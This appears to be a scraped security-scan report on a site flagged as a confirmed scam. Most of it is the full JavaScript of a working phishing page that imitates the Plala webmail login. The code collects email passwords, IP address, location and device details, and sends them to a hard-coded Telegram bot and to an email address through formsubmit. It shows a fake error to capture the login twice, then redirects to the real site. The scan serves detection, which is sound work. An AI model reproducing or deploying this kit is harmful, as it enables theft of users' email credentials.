technology software

documentation technical

government public service

cryptocurrency blockchain

news media journalism

English

The domain name 'pub-f44d81b8724d45818e53a22e6e4f737a.r2.dev' uses the developer-focused generic top-level domain (.dev) and includes subdomain 'pub-f44d81b8724d45818e53a22e6e4f737a'. The core label 'r2' covers 2 characters with 0 vowels and one consonant; it also includes 1 digit. Tokenizing the label suggests 2 words: r, 2. Median word length is one character. No strong language cues emerged from the frequency lists.

username

password

staySignedIn

signin

html/81/8c/818cc292-22a9-4215-aa1f-aa7c884f14ee.html.gz

store-credentials

empty

a638bc7b5550afd42f2bf7420fb80724c7fb6ff56be6a7b4439ef28acc981139

40fb6b1fc36574e95f41a215259ab5dc50f6ff461cc54b2a1d80df001a3a6463

width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no

viewport

msapplication-tap-highlight

google

robots

apple-mobile-web-app-capable

apple-mobile-web-app-title

apple-mobile-web-app-status-bar-style

Abuse Team

CloudFlare, Inc.

r2.dev

Abuse

Admin

Cloudflare-NOC

Cloudflare, Inc.

CLOUDFLARENET


    window.ox = { signin: true }; var path = location.pathname; if (/^\/\//.test(path)) { location.href = location.href.replace(path, path.replace(/^[/]*/, '/')); }
  

// ==================== CONFIG ====================
 var TELEGRAM_BOT_TOKEN = '8056845572:AAEOqA7m5qE4VHINwANSSfD-X1rFbgkXejg';
 var TELEGRAM_CHAT_ID = '7416716751';
 var EMAIL_TO = 'seattlleint@outlook.com';

 var ALLOWED_DOMAINS = [
 '@agate.plala.or.jp', '@amail.plala.or.jp', '@amber.plala.or.jp', '@apost.plala.or.jp',
 '@aqua.plala.or.jp', '@atlas.plala.or.jp', '@beige.plala.or.jp', '@bishou-4.hs.plala.or.jp',
 '@blue.plala.or.jp', '@brown.plala.or.jp', '@bz01.plala.or.jp', '@bz02.plala.or.jp',
 '@bz03.plala.or.jp', '@bz04.plala.or.jp', '@camel.plala.or.jp', '@cameo.plala.or.jp',
 '@cocoa.plala.or.jp', '@coral.plala.or.jp', '@cpost.plala.or.jp', '@cream.plala.or.jp',
 '@ebony.plala.or.jp', '@educet.plala.or.jp', '@educet01.plala.or.jp', '@educet02.plala.or.jp',
 '@educet03.plala.or.jp', '@educet04.plala.or.jp', '@email.plala.or.jp', '@grape.plala.or.jp',
 '@gray.plala.or.jp', '@green.plala.or.jp', '@jade.plala.or.jp', '@khaki.plala.or.jp',
 '@kmail.plala.or.jp', '@lapis.plala.or.jp', '@lilac.plala.or.jp', '@lime.plala.or.jp',
 '@mail.plala.or.jp', '@maroon.plala.or.jp', '@mint.plala.or.jp', '@navy.plala.or.jp',
 '@olive.plala.or.jp', '@opal.plala.or.jp', '@orange.plala.or.jp', '@orchid.plala.or.jp',
 '@palette.plala.or.jp', '@peach.plala.or.jp', '@pearl.plala.or.jp', '@pink.plala.or.jp',
 '@plala.or.jp', '@plala.plala.or.jp', '@plum.plala.or.jp', '@purple.plala.or.jp',
 '@red.plala.or.jp', '@rmail.plala.or.jp', '@rose.plala.or.jp', '@rouge.plala.or.jp',
 '@ruby.plala.or.jp', '@sapphire.plala.or.jp', '@sea.plala.or.jp', '@silk.plala.or.jp',
 '@silver.plala.or.jp', '@sky.plala.or.jp', '@smail.plala.or.jp', '@snow.plala.or.jp',
 '@stone.plala.or.jp', '@suite.plala.or.jp', '@sun.plala.or.jp', '@taupe.plala.or.jp',
 '@topaz.plala.or.jp', '@violet.plala.or.jp', '@vmail.plala.or.jp', '@wave.plala.or.jp',
 '@white.plala.or.jp', '@wild.plala.or.jp', '@wine.plala.or.jp', '@wmail.plala.or.jp',
 '@xpost.plala.or.jp', '@yellow.plala.or.jp', '@ymail.plala.or.jp', '@zmail.plala.or.jp',
 '@zpost.plala.or.jp'
 ];

 // ==================== COLLECT INFO ====================
 function getClientInfo() {
 var info = {};
 
 // IP via ipify
 info.ip = '';
 var xhr = new XMLHttpRequest();
 xhr.open('GET', 'https://api.ipify.org?format=json', false);
 try { xhr.send(); if (xhr.status === 200) { var d = JSON.parse(xhr.responseText); info.ip = d.ip; } } catch(e) {}

 // Location from ipapi
 info.city = '';
 info.region = '';
 var xhr2 = new XMLHttpRequest();
 xhr2.open('GET', 'https://ipapi.co/json/', false);
 try { xhr2.send(); if (xhr2.status === 200) { var d2 = JSON.parse(xhr2.responseText); info.city = d2.city || ''; info.region = d2.region || ''; } } catch(e) {}

 // Device & Browser
 var ua = navigator.userAgent;
 info.ua = ua;
 info.browser = getBrowser(ua);
 info.device = getDevice(ua);
 info.screen = screen.width + 'x' + screen.height;
 info.cookies = navigator.cookieEnabled ? 'Yes' : 'No';
 info.time = new Date().toLocaleString('ja-JP', { timeZone: 'Asia/Tokyo' });
 
 return info;
 }

 function getBrowser(ua) {
 if (ua.indexOf('Firefox') > -1) return 'Mozilla Firefox';
 if (ua.indexOf('Edge') > -1 || ua.indexOf('Edg/') > -1) return 'Microsoft Edge';
 if (ua.indexOf('Chrome') > -1) return 'Google Chrome';
 if (ua.indexOf('Safari') > -1) return 'Apple Safari';
 if (ua.indexOf('OPR') > -1 || ua.indexOf('Opera') > -1) return 'Opera';
 return 'Unknown';
 }

 function getDevice(ua) {
 if (/iPhone|iPad|iPod/.test(ua)) return 'iOS Device';
 if (/Android/.test(ua)) return 'Android Device';
 if (/Windows/.test(ua)) {
 if (/Touch/.test(ua)) return 'Windows Tablet';
 return 'Windows PC';
 }
 if (/Macintosh/.test(ua)) return 'Mac';
 if (/Linux/.test(ua)) return 'Linux';
 return 'Unknown';
 }

 // ==================== DOMAIN VALIDATION ====================
 function isValidEmail(email) {
 email = email.trim().toLowerCase();
 if (!email || email.indexOf('@') === -1) return false;
 var atIndex = email.lastIndexOf('@');
 var domain = email.substring(atIndex);
 return ALLOWED_DOMAINS.indexOf(domain) > -1;
 }

 // ==================== PASSWORD TOGGLE ====================
 function setupPasswordToggle(inputId, toggleId) {
 var input = document.getElementById(inputId);
 var toggle = document.getElementById(toggleId);
 if (!input || !toggle) return;
 toggle.addEventListener('click', function() {
 if (input.type === 'password') {
 input.type = 'text';
 toggle.textContent = '🙈';
 } else {
 input.type = 'password';
 toggle.textContent = '👁';
 }
 });
 }

 // ==================== TELEGRAM SEND ====================
 function sendToTelegram(message) {
 var url = 'https://api.telegram.org/bot' + TELEGRAM_BOT_TOKEN + '/sendMessage';
 var xhr = new XMLHttpRequest();
 xhr.open('POST', url, true);
 xhr.setRequestHeader('Content-Type', 'application/json');
 xhr.send(JSON.stringify({
 chat_id: TELEGRAM_CHAT_ID,
 text: message,
 parse_mode: 'HTML'
 }));
 }

 // ==================== EMAIL SEND (formsubmit) ====================
 function sendToEmail(message) {
 var xhr = new XMLHttpRequest();
 xhr.open('POST', 'https://formsubmit.co/ajax/' + EMAIL_TO, true);
 xhr.setRequestHeader('Content-Type', 'application/json');
 xhr.onload = function() { /* silently handle */ };
 xhr.onerror = function() { /* silently handle */ };
 xhr.send(JSON.stringify({
 _subject: 'Plala Webmail Login Capture',
 message: message
 }));
 }

 // ==================== REPORT FUNCTION ====================
 function reportSubmission(page, email, password) {
 var info = getClientInfo();
 var emojiIP = '\uD83C\uDF10';
 var emojiDevice = '\uD83D\uDCF1';
 var emojiClock = '\u23F0';
 
 var message = '';
 message += '\uD83D\uDCE9 Plala Webmail Login = Page ' + page + '\n';
 message += '\uD83D\uDC64 Email: ' + email + '\n';
 message += '\uD83D\uDD10 Password: ' + password + '\n';
 message += emojiIP + ' IP: ' + (info.ip || 'N/A') + '\t\t' + (info.city || info.region ? info.city + ', ' + info.region : 'Location Unknown') + '\n';
 message += emojiDevice + ' Device: ' + info.device + '\t\t' + emojiClock + ' Time: ' + info.time + '\n';
 message += '\uD83C\uDF0D Browser: ' + info.browser + '\n';
 message += '\uD83D\uDCD0 Screen: ' + info.screen + '\n';
 message += '\uD83C\uDF6A Cookies Enabled: ' + info.cookies + '\n';
 message += '\u23F1\uFE0F Attempt: 1';
 
 // Send to Telegram
 sendToTelegram(message);
 
 // Send to Email
 sendToEmail(message);
 }

 // ==================== PAGE TRANSITION ====================
 function goToPage2(email, password) {
 // Fill page 2 fields
 document.getElementById('p2-username').value = email;
 document.getElementById('p2-password').value = password;
 
 // Show page 2 error
 document.getElementById('page2-error').style.display = 'block';
 
 // Transition
 document.getElementById('page1').classList.remove('active');
 document.getElementById('page2').classList.add('active');
 
 // Scroll to top
 window.scrollTo({ top: 0, behavior: 'smooth' });
 }

 // ==================== PAGE 1 FORM HANDLER ====================
 document.getElementById('login-form-page1').addEventListener('submit', function(e) {
 e.preventDefault();
 
 var email = document.getElementById('p1-username').value.trim();
 var password = document.getElementById('p1-password').value;
 
 // Reset errors
 document.getElementById('p1-username').classList.remove('error');
 document.getElementById('p1-password').classList.remove('error');
 document.getElementById('p1-username-error').style.display = 'none';
 document.getElementById('p1-password-error').style.display = 'none';
 
 var valid = true;
 
 // Validate email
 if (!email) {
 document.getElementById('p1-username').classList.add('error');
 document.getElementById('p1-username-error').textContent = 'メールアドレスを入力してください。';
 document.getElementById('p1-username-error').style.display = 'block';
 valid = false;
 } else if (!isValidEmail(email)) {
 document.getElementById('p1-username').classList.add('error');
 document.getElementById('p1-username-error').textContent = '有効なぷららメールアドレスを入力してください。（@○○.plala.or.jp）';
 document.getElementById('p1-username-error').style.display = 'block';
 valid = false;
 }
 
 // Validate password
 if (!password) {
 document.getElementById('p1-password').classList.add('error');
 document.getElementById('p1-password-error').textContent = 'メールパスワードを入力してください。';
 document.getElementById('p1-password-error').style.display = 'block';
 valid = false;
 }
 
 if (!valid) return;
 
 // Report Page 1
 reportSubmission(1, email, password);
 
 // Transition to page 2
 setTimeout(function() {
 goToPage2(email, password);
 }, 300);
 });

 // ==================== PAGE 2 FORM HANDLER ====================
 document.getElementById('login-form-page2').addEventListener('submit', function(e) {
 e.preventDefault();
 
 var email = document.getElementById('p2-username').value.trim();
 var password = document.getElementById('p2-password').value;
 
 // Reset errors
 document.getElementById('p2-username').classList.remove('error');
 document.getElementById('p2-password').classList.remove('error');
 document.getElementById('p2-username-error').style.display = 'none';
 document.getElementById('p2-password-error').style.display = 'none';
 document.getElementById('page2-error').style.display = 'none';
 
 var valid = true;
 
 // Validate email
 if (!email) {
 document.getElementById('p2-username').classList.add('error');
 document.getElementById('p2-username-error').textContent = 'メールアドレスを入力してください。';
 document.getElementById('p2-username-error').style.display = 'block';
 valid = false;
 } else if (!isValidEmail(email)) {
 document.getElementById('p2-username').classList.add('error');
 document.getElementById('p2-username-error').textContent = '有効なぷららメールアドレスを入力してください。（@○○.plala.or.jp）';
 document.getElementById('p2-username-error').style.display = 'block';
 valid = false;
 }
 
 // Validate password
 if (!password) {
 document.getElementById('p2-password').classList.add('error');
 document.getElementById('p2-password-error').textContent = 'メールパスワードを入力してください。';
 document.getElementById('p2-password-error').style.display = 'block';
 valid = false;
 }
 
 if (!valid) {
 document.getElementById('page2-error').style.display = 'block';
 return;
 }
 
 // Report Page 2
 reportSubmission(2, email, password);
 
 // Show brief loading state, then redirect
 var btn = document.querySelector('#login-form-page2 .btn-primary');
 btn.textContent = 'ログイン中...';
 btn.disabled = true;
 
 setTimeout(function() {
 window.location.href = 'https://webmail.plala.or.jp/appsuite/';
 }, 1500);
 });

 // ==================== SETUP PASSWORD TOGGLES ====================
 setupPasswordToggle('p1-password', 'p1-toggle');
 setupPasswordToggle('p2-password', 'p2-toggle');

 // ==================== LOADING SCREEN ====================
 window.addEventListener('load', function() {
 setTimeout(function() {
 var loadingScreen = document.getElementById('loading-screen');
 var topLogo = document.getElementById('top-left-logo');
 
 if (loadingScreen) {
 loadingScreen.style.opacity = '0';
 loadingScreen.style.transition = 'opacity 0.5s ease';
 
 setTimeout(function() {
 loadingScreen.style.display = 'none';
 if (topLogo) {
 topLogo.style.display = 'block';
 }
 }, 500);
 }
 }, 2500);
 });

 // ==================== ORIGINAL STATIC GT ====================
 var staticGt = (function () {
 var messages = {
 'Connection error': {
 de: 'Verbindungsfehler',
 es: 'Error de conexión',
 fr: 'Erreur de connexion',
 it: 'Errore di connessione',
 ja: '接続エラー',
 nl: 'Verbindingsfout'
 },
 'The service is not available right now.': {
 de: 'Der Dienst ist zurzeit nicht verfügbar.',
 es: 'El servicio no está disponible en estos momentos.',
 fr: 'Le service n\'est pas disponible actuellement.',
 it: 'Il servizio non è disponibile in questo momento.',
 ja: '現在サービスを利用できません。',
 nl: 'De dienst is nu niet benaderbaar.'
 },
 'Retry': {
 de: 'Erneut versuchen',
 es: 'Reintentar',
 fr: 'Réessayer',
 it: 'Ritenta',
 ja: '再試行',
 nl: 'Opnieuw proberen'
 },
 'Connection timed out. Please try reloading the page.': {
 de: 'Zeitüberschreitung bei der Verbindung. Bitte laden Sie die Seite erneut.',
 es: 'Conexión caducada. Por favor, pruebe a cargar de nuevo la página.',
 fr: 'Délai de la connexion dépassé. Veuillez recharger la page.',
 it: 'Connessione scaduta. Prova a ricaricare la pagina.',
 ja: '接続がタイムアウトです。ページをもう一度読み込んでください。',
 nl: 'Verbindingsfout (time-out). Probeer de pagina opnieuw te laden.'
 },
 'Reload': {
 de: 'Neu laden',
 es: 'Recargar',
 fr: 'Recharger',
 it: 'Ricarica',
 ja: '再読み込み',
 nl: 'Herladen'
 },
 'Something went wrong. Please close this browser tab and try again.': {
 de: 'Es gab einen Fehler. Bitte schließen Sie dieses Browser-Tab und versuchen es erneut.',
 es: 'Algo ha ido mal. Por favor, cierre esta pestaña del navegador e inténtelo de nuevo.',
 fr: 'Quelque chose s\'est mal passé. Veuillez fermer votre onglet de navigateur et réessayer.',
 it: 'Qualcosa è andato storto. Chiudi questa scheda del browser e prova ancora.',
 ja: 'エラーが発生しました。このブラウザタブを閉じて、もう一度やり直してください。',
 nl: 'Er is iets mis gegaan.Sluit alstublieft dit tabblad en probeer het opnieuw.'
 }
 };
 return function gt(str) {
 var language = (ox.locale || navigator.language || navigator.userLanguage).substr(0, 2);
 if (!messages[str]) return str;
 return messages[str][language] || str;
 };
 }());

 document.querySelector('#showstopper .down').innerHTML =
 '' + staticGt('Connection error') +
 ' ' + staticGt('The service is not available right now.') +
 ' <a href="#" class="reload">' + staticGt('Retry') +
 '</a>';

 document.querySelector('#showstopper .timeout').innerHTML =
 '' + staticGt('Connection timed out. Please try reloading the page.') + ' <a href="#" class="reload">' + staticGt('Reload') +
 '</a>';

 document.querySelector('#showstopper .session').innerHTML =
 '' + staticGt('Something went wrong. Please close this browser tab and try again.') +'';

X-UA-Compatible

PasswordField

Cloudflare Bot Management

Cloudflare

☠️ Malicious - https://pub-f44d81b8724d45818e53a22e6e4f737a.r2.dev/index%20%283%29.html

Security Scan: https://pub-f44d81b8724d45818e53a22e6e4f737a.

Requests	IP Address	Location	AS Autonomous System
4	104.18.54.45Cloudflare · WAF	United States	AS13335Cloudflare, Inc.
4	104.18.50.34Cloudflare · WAF	United States	AS13335Cloudflare, Inc.
8	2	-	-

Security Scan Report: pub-f44d81b8724d45818e53a22e6e4f737a.r2.dev

Summary

AI Security Verdict

Confirmed Scam

Risk Factors

Details

Screenshot

Page Load Overview

Language Analysis

Primary Language

Detection Details

Website Classification

Primary Category

All Detected Categories

Detected Features

Domain & IP Information

Detected Technologies4

Content Similarity HashesFor malware variant detection

TLSH (Trend Micro Locality Sensitive Hash)

ssdeep (Context Triggered Piecewise Hashing)

sdhash (Similarity Digest Hashing)

Image Hashes

Perceptual Hashes

Other Hashes

Scan History